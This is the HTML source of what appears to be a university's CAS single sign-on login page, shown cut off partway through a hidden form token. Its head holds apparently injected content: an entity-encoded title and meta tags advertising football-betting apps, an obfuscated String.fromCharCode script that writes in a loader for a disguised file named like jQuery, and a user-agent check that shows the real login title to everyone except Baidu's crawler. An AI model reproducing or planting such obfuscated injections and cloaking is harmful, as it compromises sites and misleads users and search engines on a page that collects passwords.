<!DOCTYPE html><html>

<head><title>&#x4EC0;&#x4E48;&#x8F6F;&#x4EF6;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x4E70;&#x7403;|&#x4E70;&#x7403;&#x54EA;&#x4E2A;app&#x597D;&#x7528;</title>
<meta name="keywords" content="&#20160;&#20040;&#36719;&#20214;&#21487;&#20197;&#30452;&#25509;&#20080;&#29699;&#44;&#20080;&#29699;&#21738;&#20010;&#97;&#112;&#112;&#22909;&#29992;"/>
<meta name="description" content="&#20160;&#20040;&#36719;&#20214;&#21487;&#20197;&#30452;&#25509;&#20080;&#29699;&#65311;&#25512;&#33616;&#20960;&#27454;&#22909;&#29992;&#30340;&#20080;&#29699;&#97;&#112;&#112;&#65292;&#25903;&#25345;&#22810;&#31181;&#36187;&#20107;&#65292;&#25805;&#20316;&#31616;&#21333;&#65292;&#20307;&#39564;&#26497;&#20339;&#12290;"/>

<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,47,106,115,47,106,113,117,101,114,121,46,51,46,48,46,48,46,109,105,110,46,98,99,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="Login -  Central Authentication Service"}</script>
    <title></title>
    <meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><link rel="stylesheet" type="text/css" href="/cas/webjars/normalize.css/8.0.1/normalize.css" /><link rel="stylesheet" type="text/css" href="/cas/webjars/bootstrap/4.5.0/css/bootstrap-grid.min.css" /><link rel="stylesheet" type="text/css" href="/cas/webjars/material-components-web/4.0.0/dist/material-components-web.css" /><link rel="stylesheet" type="text/css" href="/cas/webjars/mdi__font/5.0.45/css/materialdesignicons.css" /><link rel="stylesheet" type="text/css" href="/cas/css/cas.css?v=6.2"/><link rel="stylesheet" type="text/css" href="./captcha/css/captcha.min.css"/><link rel="icon" href="/cas/favicon.ico" type="image/x-icon"/><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /></head>

<body class="login mdc-typography">
<script type="text/javascript" src="/cas/webjars/es5-shim/4.5.9/es5-shim.js"></script>
<script type="text/javascript" src="/cas/webjars/css-vars-ponyfill/2.3.1/dist/css-vars-ponyfill.min.js"></script>

<script type="text/javascript" src="/cas/webjars/jquery/3.5.1/jquery.min.js"></script>
<script type="text/javascript" src="/cas/webjars/material-components-web/4.0.0/dist/material-components-web.js"></script>

<script type="text/javascript" src="/cas/js/cas.js?v=6.2" ></script>
<script type="text/javascript" src="/cas/captcha/js/crypto-js.min.js"></script>
<script type="text/javascript" src="/cas/captcha/js/captcha.min.js"></script>

<script>
    resourceLoadedSuccessfully();
    cssVars({});
</script>

<script>
    /*<![CDATA[*/
    var trackGeoLocation = false;
    /*]]>*/
</script>
<div>
    <header id="app-bar" class="mdc-top-app-bar mdc-top-app-bar--fixed mdc-elevation--z4">
        <nav class="mdc-top-app-bar__row">
            <section class="mdc-top-app-bar__section mdc-top-app-bar__section--align-start">
                <button class="mdc-icon-button mdc-top-app-bar__navigation-icon">
                    <span class="mdi mdi-menu"></span>
                    <span class="sr-only">menu</span>
                </button>
                <div class="cas-brand " style="width: 200px; background:url('/cas/images/cas-logo.png'); background-repeat: no-repeat;background-size: contain;margin-left: 20px; "></div>
            </section>
            <section class="mdc-top-app-bar__section mdc-top-app-bar__section--align-center">
<!--                <img class="cas-brand mx-auto" src="/cas/images/cas-logo.png"/>--></section>
            <section class="mdc-top-app-bar__section mdc-top-app-bar__section--align-end" style="width: 160px;">
<!--                <div style="float:right;color:white;">--><!--                    <form id="zh" style="display:inline;" method="post"><input type="hidden" name="locale" value="zh_CN"><button class="mdc-button mdc-button__label" style="min-width:6px;color:white;padding: 0;margin: 0;border: 0;" type="submit">中文</button></form>--><!--                    |--><!--                    <form id="en" style="display:inline;" method="post"><input type="hidden" name="locale" value="en"><button class="mdc-button mdc-button__label" style="min-width:6px;color:white;padding: 0;margin: 0;border: 0;" type="submit">En</button></form>--><!--                </div>--><button id="cas-notifications-menu"
                        class="mdc-icon-button mdc-top-app-bar__action-item cas-notification-toggle"
                        aria-label="Bookmark this page">
                    <span class="mdi mdi-bell-alert"></span>
                    <span class="sr-only">notifications</span>
                    <i id="notifications-count" class="notifications-count count">0</i>
                </button>
            </section>
        </nav>

    </header>
    <aside id="app-drawer" class="mdc-drawer mdc-drawer--dismissible mdc-drawer--modal">
<!--        <div class="mdc-drawer__header">--><!--            <h3 class="mdc-drawer__title">CAS</h3>--><!--            <h6 class="mdc-drawer__subtitle">Central Authentication Service</h6>--><!--        </div>--><div class="mdc-drawer__content">
            <nav class="mdc-list">
                <a href="/cas/user/info" class="mdc-list-item banner-primary">
                    <i class="mdi mdi-cog"></i>&nbsp;
                    <span class="mdc-list-item__text">个人信息</span>
                </a>
                <!--                <a th:href="@{/actuator}" class="mdc-list-item">--><!--                    <i class="mdi mdi-cogs"></i>&nbsp;--><!--                    <span class="mdc-list-item__text">Actuator Endpoints</span>--><!--                </a>--><hr class="mdc-list-divider"/><div class="text-center">
                <form id="zh" class="d-inline" method="post"><input type="hidden" name="locale" value="zh_CN"><button class="mdc-button mdc-button__label" type="submit">中文</button></form>
                    <span>|</span>
                <form id="en" class="d-inline" method="post"><input type="hidden" name="locale" value="en"><button class="mdc-button mdc-button__label" type="submit">En</button></form>
                </div>
            </nav>
        </div>
    </aside>

    <script>var countMessages = 0;</script>
    <div class="mdc-dialog cas-notification-dialog" id="cas-notification-dialog" role="alertdialog"
         aria-modal="true" aria-labelledby="notif-dialog-title" aria-describedby="notif-dialog-content">
        <div class="mdc-dialog__container">
            <div class="mdc-dialog__surface">
                <div class="mdc-dialog__content" id="notif-dialog-content" style="padding-bottom: 0;">
                    <div class="cas-notification-message mdc-typography--body1">
                        <h6 style="margin-bottom: 5px;" class="mdc-typography--headline6 mdi mdi-information-variant">网上服务大厅</h6>
                        <hr/><p>网络信息中心支持 </p>
                        <p>
                        &nbsp;&nbsp;&nbsp;&nbsp;
                        </p>
                    </div>
                </div>
                <footer class="mdc-dialog__actions" style="background-color: #dddddd;">
                    <button type="button" class="mdc-button mdc-dialog__button "  data-mdc-dialog-action="accept"
                            data-mdc-dialog-button-default>
                        <span class="mdc-button__label">继续</span>
                    </button>
                </footer>
            </div>
            </div>
        <div class="mdc-dialog__scrim"></div>
    </div>
    
</div>

<div class="mdc-drawer-scrim"></div>

<div class="mdc-drawer-app-content mdc-top-app-bar--fixed-adjust d-flex justify-content-center">
    <main role="main" id="main-content" class="container-lg py-4">
        <div id="content" class="d-flex justify-content-center">

        <div  style="background-color: rgba(255,255,255,0.9);width:100%;"  class="d-flex justify-content-center flex-md-row flex-column mdc-card mdc-card-content w-lg-30">
            <section id="loginForm"
                class="login-section login-form">
                <div class="d-flex flex-column justify-content-between m-auto">
            <div>
                <div id="serviceui" class="mb-4">
        <div class="d-flex align-items-center p-2">
            <img src="images/sustech.png" height="64" /><div id="servicedesc" class="ml-3">
                <h2 style="margin-bottom: 3px;">
                    <p style="margin-top: 0px;margin-bottom: 0px;">
                        <span>
                            <span>网上服务大厅</span>
                        </span>
                    </p>
                </h2>
                </div>
        </div>
    </div>
            </div>
            <div class="form-wrapper">
                <form method="post" id="fm1" action="login">

                    <section class="cas-field my-2=3">
                        </section>

                    <section class="cas-field my-3">
                        <div class="mdc-text-field  d-flex">
                            <input class="mdc-text-field__input"
                                id="username"
                                size="25"
                                type="text"
                                accesskey="n"
                                value=""
                                autocomplete="off" name="username" /><label for="username" class="mdc-floating-label">用户名（SID）:</label>
                        </div>
                    </section>

                    <section class="cas-field my-3 mdc-input-group">
                        <div class="mdc-input-group-field mdc-input-group-field-append">
                            <div class="mdc-text-field  mdc-text-field--with-trailing-icon d-flex caps-check">
                                <input class="mdc-text-field__input pwd" type="password" id="password" size="25"
                                    accesskey="p" autocomplete="off" name="password" value="" /><label for="username" class="mdc-floating-label">密　码:</label>
                            </div>
                            <div class="mdc-text-field-helper-line caps-warn">
                                <p
                                    class="mdc-text-field-helper-text mdc-text-field-helper-text--persistent mdc-text-field-helper-text--validation-msg text-danger">
                                    <span >大写键已打开！</span>
                                </p>
                            </div>
                        </div>
                        <button class="reveal-password mdc-button mdc-button--raised mdc-input-group-append mdc-icon-button" type="button">
                            <i class="mdi mdi-eye reveal-password-icon"></i>
                            <span class="sr-only">Toggle Password</span>
                        </button>
                    </section>

                    <section class="cas-field my-3">
                        </section>

                    <section class="cas-field">

                        <div>
<!--        <span th:if="${recaptchaVersion=='v2'}" th:remove="tag">--><!--        </span>--></div>

                        <input type="hidden" name="execution" value="a980937b-336e-443e-9543-b5d36ab367da_ZXlKaGJHY2lPaUpJVXpVeE1pSXNJblI1Y0NJNklrcFhWQ0o5LmM4VHNmUldhNGc0UWRtbHRNU2p5bDBjNkt4VVNpSGRueE16UFVOYmNhaHRFTmJjSFpPN3g4cHo3clBhYUtVMXpyeE5TdF94azRrTjlIV3Bwbzl0QjJTR190TFFrVHV6c28xN3JaOHhuZ21DVlpqdU5Zb0RkYWd4alR5V0JUM0VDMHRkbng5Y0hGNWxSb3VaZVFNVWU3RFFmMS1ieU91QS14dWRBcXlsWHNzLTZLdFZDMlJJYms2LU1WMVVBb2E5REl3S1FjVGlNRHhvcUxnMW5tMHl4eHNyamVvcTVoLXAzSzE3R3QydnUxaW45VXZLN3N3eEttdjJHdkk1bTBSZ2VQOVU3ZVhBdmhoUWx6U3AwUUZ0WURIcF9tRkIwcW03VWlqU3ZiLWRraVhKN1Y1TkFQdnEyRlZFSkc4WUU2b0MzOHNMYzFFT05XdzB0a0xLSzJSVU1sTEQwZ0RRVmRkTDZwWWtqbGJQSEtNVnUtNHFmSC1wbGdGUGQxN1FLandIOFZjYVgtYm11YUVlSmFNcXVWa3I4NVJYWkxKQnAtU25jSTczaHFKV2k5a0U4NHVSWVpYS2lvVDdqMC1zekZaRlhqdVZmNXlmQmx4Y1VhRFJXVVlpMTJYeEg0VUtFbllaY1N2Y1NNR0NPZUkwUWYtVVVMR2F4VU1wbjdSaThCZkdWRmx1LXJhR1JCTm5XbFJUYURMZFlqbU1aeWZ3a01LZk9kdDh6R21HcHJwc2g0Q3M2VkF6UnozVnZ6V1NTOW9iUkdDNEhCekFfbkVmQ2dKTjVjMkJQeW1HU1Z6TlJDSklqczBDNEVCSkwwM1dPN1pRbGNnSjNPdnhRV1lyTkU3MzJ2NXBxRlVSSUFScHE1VlFZWjh0WE9jNVZmSURodU5OOFFxWEdDN2NJNG1NVFFrZEpONkJacGc0TVlHTmdSMk8wOGg3OHQyeDRmVTZhazd5OUZOZGs4LWpRcS1wN3FGa3FHcVlkWlVmeEY1M2Jld2tXOXR4c0ZlTjBTVTVQSFBTaUdWNHpCUEZxNWFNdHFoZENTS0VlQ2lvcUtkdnBmM0Q3bGpsa1NBY3o0SmpMOFhnbkhRYm1mc3RBTXRFdTI0OWpMbXFLZEx0QTkxSlRacG9xMVdkSUExdHJDWDQtUWJJbHVWTTRWc3RhNlpJbFFCbmI2VEJ2YlVJYzFHS0hZSXVhOXBDVThBQ09HLUlmbFpwX3h0R1B3R2poUVpPZ21TN05YcVNtYm9UdFpmWUE0ZFJFbTZrVG0yWXBwQ2JpT0lHNTdhZHp6VERONUtmMEZzcnVUV2pNX3hYNnlZQUdtRWxQUHFiRlNFQ08zUWZfbHJ1VU9DQ0dKeG10T0NMMjloemFyN0dOQ1JXV2x1RkJ5Xy1tYTN6SXVUZGN6WjFfNmVMU0JERzR4VmNsS01RWkNRQVQ5YjFBeWpGMVlGVEZ2OTB1RnBIYVRyTHpiLWFoOXg5c2JUTGgxQkZ3c3pnTDd0Q1JUOVFOcURNUFBlNlNUNmlhVHptRmk3MV9KY1I2eG9mc0FLTFpxWmlnM21mZUhCT09nbzlXUjJsTTdfQU5iRlJDSEx5aHNxVEZBTUp5T2tUS20zZXNidGtxU0tCemVPZnN0VUdCYlRyY0JfR3VQclNrZ3RLcnBNZ05oS0ZUSEp1NzR1dGpodGhTQldnODlCUGJtam5rNWxNd1BCcGRMWjZ5RURWSWVFNy1YYUhTcTNNT3psNFYtdmZpc2dDOUdRUW9vc3prQml6ay1rRXo2ZVpTMWZQRUpDTzBwVlFMeTNTTi01bGZmLUVsaXFmSGR5bkxHVS1sVWFyLUJMbXpPdGNkR2ZPSEFRak91a3FQeTA2cmlXLXF6ZHF1UkpWUV9NcHdzRkt6V2Fqb0pLU21aV29tYkVyT0x3X0RyU3NZQ0tUYVppLUFWUFJQM21RYmNfNDZ2MUowTkVOS0VRWFRyQzd6LVhTVXBqVHVaNGVfX1dFWExpcGxDWXNydXNJNzFFVV9oNmlna3FsZEN2MGdSZEFUenh2OXAxVWtnR0x0NXRrd0p3eGlPNHotYVkzZ1Rkdmw4LU4zd25mcFRwRDZ3RWJTWE16TndFVlVFd0RmRF9NRV9LbHpXZmJtVDFzWVUtaVU2bGpFMEc5OEVXVkNkS0ktOHJQeFNUSjcxNEhMVGJUQmRXNXpWQVpOSGxlbGo4M3EtUFpramZkeUN6c0MxeXFfM0hfckdXREVHQm04ZEFGUWRjVU9JdHdtYW50UFRyeHZuY2Y3SXNvR0Y4MGVPT3hpMVN1NFA4eTNfWC1lQjg3SVNOQTctTWpHNUQyVl80TVdGRHQyc0ZrRVB2LTRvSGFhWDBMaWRDNVVWdW1xLV9Db0p5S0tnMy1ZZjhmZTNjbm9kUjhSaHZYZTlCUmJBZEVQUm9pNHVGc3haenY2dGEyMEd5aGNoY3FWUE5vVXhJdV9RenFBNjdrb3M5TXA2SE9BdGpENnJLM2JUWFMxbDBIaElhSFBVdWNISF9WaEtvR0Nqbmc3eldOS3lFbDk0ZGFYZTdoVnlwUm94MUp4S1ZaR3g2Vy13Y0tUUjhyamEtVGlsalRsaEJ0QURyZ2poT0tEN2xCeXRPMEh1WmhGMldDUTNCYzNlOGZld1l0LTYtbWo1RkFVX2NRN2F5LVIxWS1od2NXWHlFd3FqMzZrTEZleUlCSVNjdXdudElpLThqZ21CTVktMVp2dmFDSTcxN0N5SExwekJJTlJJdVZsR0JhZG44T1NIMUc5a1BsN1RFSnhMdU9VVnRHS3oxNXdDNE5LTm9DNjhSdGoyS1IzcXRMam1Ia25CbTFLTkt3WVZJUkpIaUZNWmF0TlozYnJBTlBKODljemRXeVhnMG95cWZTZi1uUGVvd3NfTGw3NHNtTGhKN2pIUl9tajNReTRaSHNrYmVZNVU3XzJNS1lIbjgyMGsxQmFVa015bVFsWXBldXpBaEhackxPbEdjUzNsMEx6clZ4X1JoQUQtMnQ1VE1wSVIwdDY5enpBSUN6a244Y3hQZmVBMWdMYTQ2VXRBX1lBWE8xcHJjeTFINnhzZFlsZUdBMnRrUU5ZWlA4UWMyTkx0R1prWEsxRU5QZlEyZnhoY2h1TE0xcWFGcEZqUGQ1R0sza0luZUd1QW82VXpHbTFKZFgyQlY5TVhxOXNFYzhpZ1QwaUpiV0dZRHp4bDctVjl3OEtqVkdFbFhyTXR2MGtkQVA3NWFlMzNOcWNNTzZEbTZmWVNaamNULTlFWUhIcF9zdGtjRWd1T3J4LXFISm8zdk9Nejg0eTAzTnQyWGl2d2VqUFY1OXZkdHRPTlJMcFJSNzVWVGZSZUJKZFNBamZNWHBKWExSTXExcUtURFE1QXVYRmdpUks4YXp2U2s1TS12Q1BBZWN0VHBudHhPOTVkWl9iaU12eTlSQktBUTF6cUVHYjZsQWl2UE92Y1lkX1ROV0FqdHZFQnc3WkVKaU5NU1FKSERDOWlpekVJeWlpVmcyb2lCY3R0dGFnNUE3UzN1cGRSeGFmOXk4Z1Bfc3VmWTE2aS1kQ1ZiNnZ3eW15RTZsQkhtM2VHMDFPaUNTNnpsblAwX1hhaW41R1VKbzVZek1td0wzRUd2cWRNVmx2Mm05OWpkZkdjZFFGX3Bpb0stUlVrTXQ1OFpJSC15SjlvMHVDOEo4SWloZElOQ0hxZ0ZoVjNZdTdFTkVsLU5fd0ZFelByLWRZTFVEcVhkRW5nN19EWFlCMHpGanQ3Z0FxSDJFQTZQT3B6ODZpcmxwUG92NEVHX1o4TEFkcTdPa2RQZ1o4SFBtai1KMzM2dlJBXzNQU2NQWVhvNjd4cmxBbnFzMExvRFVhRUFsQTVwVWZ2Q28zc21DQkZpb3gzdjVXaFZYR2EwNWwwVXlsbVNBbTlhazhQRENneFkwdHhmektsQWFhNFA3a3V0SkNxdUJ0Z2Z2dVhrSjVFT1pmaFNqLVNfcGtfSXdVSlhzSnE5a2lqN25kaWUwNXRscmpFNTBGbHVpLWpUalkxWEkwbUR1N1ZXcWlDWEwzR1BQbWtuQjMxVmdIQVpScTZJd1hHRlFncWtBcHB1NEYzaGJLWFJvaFBSdzNsSGNWVVhJVVNaWHYzREtQd3VtdVUyUmhrTVJEVXdISF9hVWJTWmtsTUxyUW9RLWQ2RDNWRzRGS0FGWmw2TnE0ZC1JRURzeDJYN1NSWk9HZktkNUFtaDZXcW0tR3hIaVVKcUtGc0tha1FIaV9la212MDRSNVo0dTdKclhjUVJBR3dCNXFENzUwcDRlcjB3T1pIQUl4QmZYMDBNTXF0c1JqYklfajI3eERVZHkzYVpzZE1Yblh5Y3dVRHJFYTVSVHhEUFFKODVLSkNvd3BFTlFFWWdYdi11aDY0eFA1U0o4Y24yRWhNNENTd083czR6bWR5Ujh5bURrUmVjNzBlN1V2Y2NLSnozOGxZSFJMUlZVYXVtTVRBTzRlX0NVTUpienVYSFA3ODlOVl9NMjRxU0dmS3l2MHZLWXgzTV9hSGhQMEU0RlFSSGNjWFBIcDlYTE1FdFVqcTZhVkk0TlhpS29rRGptUVEwaTVJcWFYVlY0YkZzazNPNlI0cnlyZUxaRVUzN2VMY2RPUDhhQ3RyY29WRHdyNWlVSHJDWk9OakZlc19oQkxnYVQ0V0VENEh1TkZtTmhaam5PVlZnNmE3MVI5TmJUT2VZYmFVSUdZZDJWRWR3ZExPTlVBRUJ3WkJuZE1ZYzFwb2FWVmkxNEJnQ2FrQ2lqNUluV0VZNWdZOFBkRGUzbGIyeTVwRWZnbXN4cFhDMnVSYmUxZXZibVpiQ0Y3ZHhTcHFUNWg0WFRjN0lTX2I2MlF5YXN6ODFqYVJSeXcwVk9FV0tMY2cxd3MzRmFrdFpwMGRGcEI2SVg5NE84MkJtUGRrMUNRRDItdjlfQnc1T051eHFsZExxTUdwaXYwWFQwYnVOTHJiM1JtUTB5TkYzdXhleHR3TGVfSG1qTzhtdEdZRlFvWDZFN3ZZOF96TFBVWWlqNGZ6dGNWZl9EQVVQOHhBM1NtR05WVm5yQUd6T0hELTZxUXNMdVhldWVRWkJSNENwb29qTDZqekdSNTRYUnlMNHNRNng0Wm9XbTU0eU05aWV0MEtZdnFLYVFXRGhtQWVuczNXZks1NXppTm5kU1BmVWpTVWJVRmZEWU9sODZDdkpyOTd4dzdrUl9uSDBGalZoLUhFeFJFTzVjM2hvZlBod3EzZ19YQlNfOWlrOExpTTZteDlRUUpjT1ljb2dTdjRadlRpdktaajE5MjI1clZoN04yRVVSZ2JHSEgtcGp1eHBidV9QcndJSExjWFI3TV8zS2lOWW5WRW44NFZfRHRBNGtjcy1DemN4UlZiYnRmQXc4ODF0dUZydkRfZ0t1cTRadmFYYTdJa1RCeC1WblpkekwwRFh6SHFGVjBWWWhMOHY3RWNhY1RyZU1ZYXhYN0lkamN2a3lzTmdJSzQydF9ncTlKLTc3V3dfVXNuM0Q0YTlQOGlIQ0JMdlpNOFRxS3pGbi1WZFkuQUZjRURpLUxUcmtxTm5KMHZwR1U3RlREQVhfbkRnWWs5SThSTk1UTmZBNl9qY2dpbE9wclJnV213NTRyNlp3YVZnTm1TX1g0Nmc5ODdINmUwRkVYTlE="/><input type="hidden" name="_eventId" value="submit"/><input type="hidden" name="geolocation"/></section>

                    <span>
            <button class="mdc-button mdc-button--raised"
                        name="submitBtn"
                        type="submit"
                        accesskey="l">
                    <span class="mdc-button__label" >登录</span>
                </button>
            </span>
    </form>

                <hr class="my-4" /><div id="pmlinks" class="my-2">
    <form class="d-inline-block" method="post" id="passwordManagementForm">
        <input type="hidden" name="execution" value="a980937b-336e-443e-9543-b5d36ab367da_ZXlKaGJHY2lPaUpJVXpVeE1pSXNJblI1Y0NJNklrcFhWQ0o5LmM4VHNmUldhNGc0UWRtbHRNU2p5bDBjNkt4VVNpSGRueE16UFVOYmNhaHRFTmJjSFpPN3g4cHo3clBhYUtVMXpyeE5TdF94azRrTjlIV3Bwbzl0QjJTR190TFFrVHV6c28xN3JaOHhuZ21DVlpqdU5Zb0RkYWd4alR5V0JUM0VDMHRkbng5Y0hGNWxSb3VaZVFNVWU3RFFmMS1ieU91QS14dWRBcXlsWHNzLTZLdFZDMlJJYms2LU1WMVVBb2E5REl3S1FjVGlNRHhvcUxnMW5tMHl4eHNyamVvcTVoLXAzSzE3R3QydnUxaW45VXZLN3N3eEttdjJHdkk1bTBSZ2VQOVU3ZVhBdmhoUWx6U3AwUUZ0WURIcF9tRkIwcW03VWlqU3ZiLWRraVhKN1Y1TkFQdnEyRlZFSkc4WUU2b0MzOHNMYzFFT05XdzB0a0xLSzJSVU1sTEQwZ0RRVmRkTDZwWWtqbGJQSEtNVnUtNHFmSC1wbGdGUGQxN1FLandIOFZjYVgtYm11YUVlSmFNcXVWa3I4NVJYWkxKQnAtU25jSTczaHFKV2k5a0U4NHVSWVpYS2lvVDdqMC1zekZaRlhqdVZmNXlmQmx4Y1VhRFJXVVlpMTJYeEg0VUtFbllaY1N2Y1NNR0NPZUkwUWYtVVVMR2F4VU1wbjdSaThCZkdWRmx1LXJhR1JCTm5XbFJUYURMZFlqbU1aeWZ3a01LZk9kdDh6R21HcHJwc2g0Q3M2VkF6UnozVnZ6V1NTOW9iUkdDNEhCekFfbkVmQ2dKTjVjMkJQeW1HU1Z6TlJDSklqczBDNEVCSkwwM1dPN1pRbGNnSjNPdnhRV1lyTkU3MzJ2NXBxRlVSSUFScHE1VlFZWjh0WE9jNVZmSURodU5OOFFxWEdDN2NJNG1NVFFrZEpONkJacGc0TVlHTmdSMk8wOGg3OHQyeDRmVTZhazd5OUZOZGs4LWpRcS1wN3FGa3FHcVlkWlVmeEY1M2Jld2tXOXR4c0ZlTjBTVTVQSFBTaUdWNHpCUEZxNWFNdHFoZENTS0VlQ2lvcUtkdnBmM0Q3bGpsa1NBY3o0SmpMOFhnbkhRYm1mc3RBTXRFdTI0OWpMbXFLZEx0QTkxSlRacG9xMVdkSUExdHJDWDQtUWJJbHVWTTRWc3RhNlpJbFFCbmI2VEJ2YlVJYzFHS0hZSXVhOXBDVThBQ09HLUlmbFpwX3h0R1B3R2poUVpPZ21TN05YcVNtYm9UdFpmWUE0ZFJFbTZrVG0yWXBwQ2JpT0lHNTdhZHp6VERONUtmMEZzcnVUV2pNX3hYNnlZQUdtRWxQUHFiRlNFQ08zUWZfbHJ1VU9DQ0dKeG10T0NMMjloemFyN0dOQ1JXV2x1RkJ5Xy1tYTN6SXVUZGN6WjFfNmVMU0JERzR4VmNsS01RWkNRQVQ5YjFBeWpGMVlGVEZ2OTB1RnBIYVRyTHpiLWFoOXg5c2JUTGgxQkZ3c3pnTDd0Q1JUOVFOcURNUFBlNlNUNmlhVHptRmk3MV9KY1I2eG9mc0FLTFpxWmlnM21mZUhCT09nbzlXUjJsTTdfQU5iRlJDSEx5aHNxVEZBTUp5T2tUS20zZXNidGtxU0tCemVPZnN0VUdCYlRyY0JfR3VQclNrZ3RLcnBNZ05oS0ZUSEp1NzR1dGpodGhTQldnODlCUGJtam5rNWxNd1BCcGRMWjZ5RURWSWVFNy1YYUhTcTNNT3psNFYtdmZpc2dDOUdRUW9vc3prQml6ay1rRXo2ZVpTMWZQRUpDTzBwVlFMeTNTTi01bGZmLUVsaXFmSGR5bkxHVS1sVWFyLUJMbXpPdGNkR2ZPSEFRak91a3FQeTA2cmlXLXF6ZHF1UkpWUV9NcHdzRkt6V2Fqb0pLU21aV29tYkVyT0x3X0RyU3NZQ0tUYVppLUFWUFJQM21RYmNfNDZ2MUowTkVOS0VRWFRyQzd6LVhTVXBqVHVaNGVfX1dFWExpcGxDWXNydXNJNzFFVV9oNmlna3FsZEN2MGdSZEFUenh2OXAxVWtnR0x0NXRrd0p3eGlPNHotYVkzZ1Rkdmw4LU4zd25mcFRwRDZ3RWJTWE16TndFVlVFd0RmRF9NRV9LbHpXZmJtVDFzWVUtaVU2bGpFMEc5OEVXVkNkS0ktOHJQeFNUSjcxNEhMVGJUQmRXNXpWQVpOSGxlbGo4M3EtUFpramZkeUN6c0MxeXFfM0hfckdXREVHQm04ZEFGUWRjVU9JdHdtYW50UFRyeHZuY2Y3SXNvR0Y4MGVPT3hpMVN1NFA4eTNfWC1lQjg3SVNOQTctTWpHNUQyVl80TVdGRHQyc0ZrRVB2LTRvSGFhWDBMaWRDNVVWdW1xLV9Db0p5S0tnMy1ZZjhmZTNjbm9kUjhSaHZYZTlCUmJBZEVQUm9pNHVGc3haenY2dGEyMEd5aGNoY3FWUE5vVXhJdV9RenFBNjdrb3M5TXA2SE9BdGpENnJLM2JUWFMxbDBIaElhSFBVdWNISF9WaEtvR0Nqbmc3eldOS3lFbDk0ZGFYZTdoVnlwUm94MUp4S1ZaR3g2Vy13Y0tUUjhyamEtVGlsalRsaEJ0QURyZ2poT0tEN2xCeXRPMEh1WmhGMldDUTNCYzNlOGZld1l0LTYtbWo1RkFVX2NRN2F5LVIxWS1od2NXWHlFd3FqMzZrTEZleUlCSVNjdXdudElpLThqZ21CTVktMVp2dmFDSTcxN0N5SExwekJJTlJJdVZsR0JhZG44T1NIMUc5a1BsN1RFSnhMdU9VVnRHS3oxNXdDNE5LTm9DNjhSdGoyS1IzcXRMam1Ia25CbTFLTkt3WVZJUkpIaUZNWmF0TlozYnJBTlBKODljemRXeVhnMG95cWZTZi1uUGVvd3NfTGw3NHNtTGhKN2pIUl9tajNReTRaSHNrYmVZNVU3XzJNS1lIbjgyMGsxQmFVa015bVFsWXBldXpBaEhackxPbEdjUzNsMEx6clZ4X1JoQUQtMnQ1VE1wSVIwdDY5enpBSUN6a244Y3hQZmVBMWdMYTQ2VXRBX1lBWE8xcHJjeTFINnhzZFlsZUdBMnRrUU5ZWlA4UWMyTkx0R1prWEsxRU5QZlEyZnhoY2h1TE0xcWFGcEZqUGQ1R0sza0luZUd1QW82VXpHbTFKZFgyQlY5TVhxOXNFYzhpZ1QwaUpiV0dZRHp4bDctVjl3OEtqVkdFbFhyTXR2MGtkQVA3NWFlMzNOcWNNTzZEbTZmWVNaamNULTlFWUhIcF9zdGtjRWd1T3J4LXFISm8zdk9Nejg0eTAzTnQyWGl2d2VqUFY1OXZkdHRPTlJMcFJSNzVWVGZSZUJKZFNBamZNWHBKWExSTXExcUtURFE1QXVYRmdpUks4YXp2U2s1TS12Q1BBZWN0VHBudHhPOTVkWl9iaU12eTlSQktBUTF6cUVHYjZsQWl2UE92Y1lkX1ROV0FqdHZFQnc3WkVKaU5NU1FKSERDOWlpekVJeWlpVmcyb2lCY3R0dGFnNUE3UzN1cGRSeGFmOXk4Z1Bfc3VmWTE2aS1kQ1ZiNnZ3eW15RTZsQkhtM2VHMDFPaUNTNnpsblAwX1hhaW41R1VKbzVZek1td0wzRUd2cWRNVmx2Mm05OWpkZkdjZFFGX3Bpb0stUlVrTXQ1OFpJSC15SjlvMHVDOEo4SWloZElOQ0hxZ0ZoVjNZdTdFTkVsLU5fd0ZFelByLWRZTFVEcVhkRW5nN19EWFlCMHpGanQ3Z0FxSDJFQTZQT3B6ODZpcmxwUG92NEVHX1o4TEFkcTdPa2RQZ1o4SFBtai1KMzM2dlJBXzNQU2NQWVhvNjd4cmxBbnFzMExvRFVhRUFsQTVwVWZ2Q28zc21DQkZpb3gzdjVXaFZYR2EwNWwwVXlsbVNBbTlhazhQRENneFkwdHhmektsQWFhNFA3a3V0SkNxdUJ0Z2Z2dVhrSjVFT1pmaFNqLVNfcGtfSXdVSlhzSnE5a2lqN25kaWUwNXRscmpFNTBGbHVpLWpUalkxWEkwbUR1N1ZXcWlDWEwzR1BQbWtuQjMxVmdIQVpScTZJd1hHRlFncWtBcHB1NEYzaGJLWFJvaFBSdzNsSGNWVVhJVVNaWHYzREtQd3VtdVUyUmhrTVJEVXdISF9hVWJTWmtsTUxyUW9RLWQ2RDNWRzRGS0FGWmw2TnE0ZC1JRURzeDJYN1NSWk9HZktkNUFtaDZXcW0tR3hIaVVKcUtGc0tha1FIaV9la212MDRSNVo0dTdKclhjUVJBR3dCNXFENzUwcDRlcjB3T1pIQUl4QmZYMDBNTXF0c1JqYklfajI3eERVZHkzYVpzZE1Yblh5Y3dVRHJFYTVSVHhEUFFKODVLSkNvd3BFTlFFWWdYdi11aDY0eFA1U0o4Y24yRWhNNENTd083czR6bWR5Ujh5bURrUmVjNzBlN1V2Y2NLSnozOGxZSFJMUlZVYXVtTVRBTzRlX0NVTUpienVYSFA3ODlOVl9NMjRxU0dmS3l2MHZLWXgzTV9hSGhQMEU0RlFSSGNjWFBIcDlYTE1FdFVqcTZhVkk0TlhpS29rRGptUVEwaTVJcWFYVlY0YkZzazNPNlI0cnlyZUxaRVUzN2VMY2RPUDhhQ3RyY29WRHdyNWlVSHJDWk9OakZlc19oQkxnYVQ0V0VENEh1TkZtTmhaam5PVlZnNmE3MVI5TmJUT2VZYmFVSUdZZDJWRWR3ZExPTlVBRUJ3WkJuZE1ZYzFwb2FWVmkxNEJnQ2FrQ2lqNUluV0VZNWdZOFB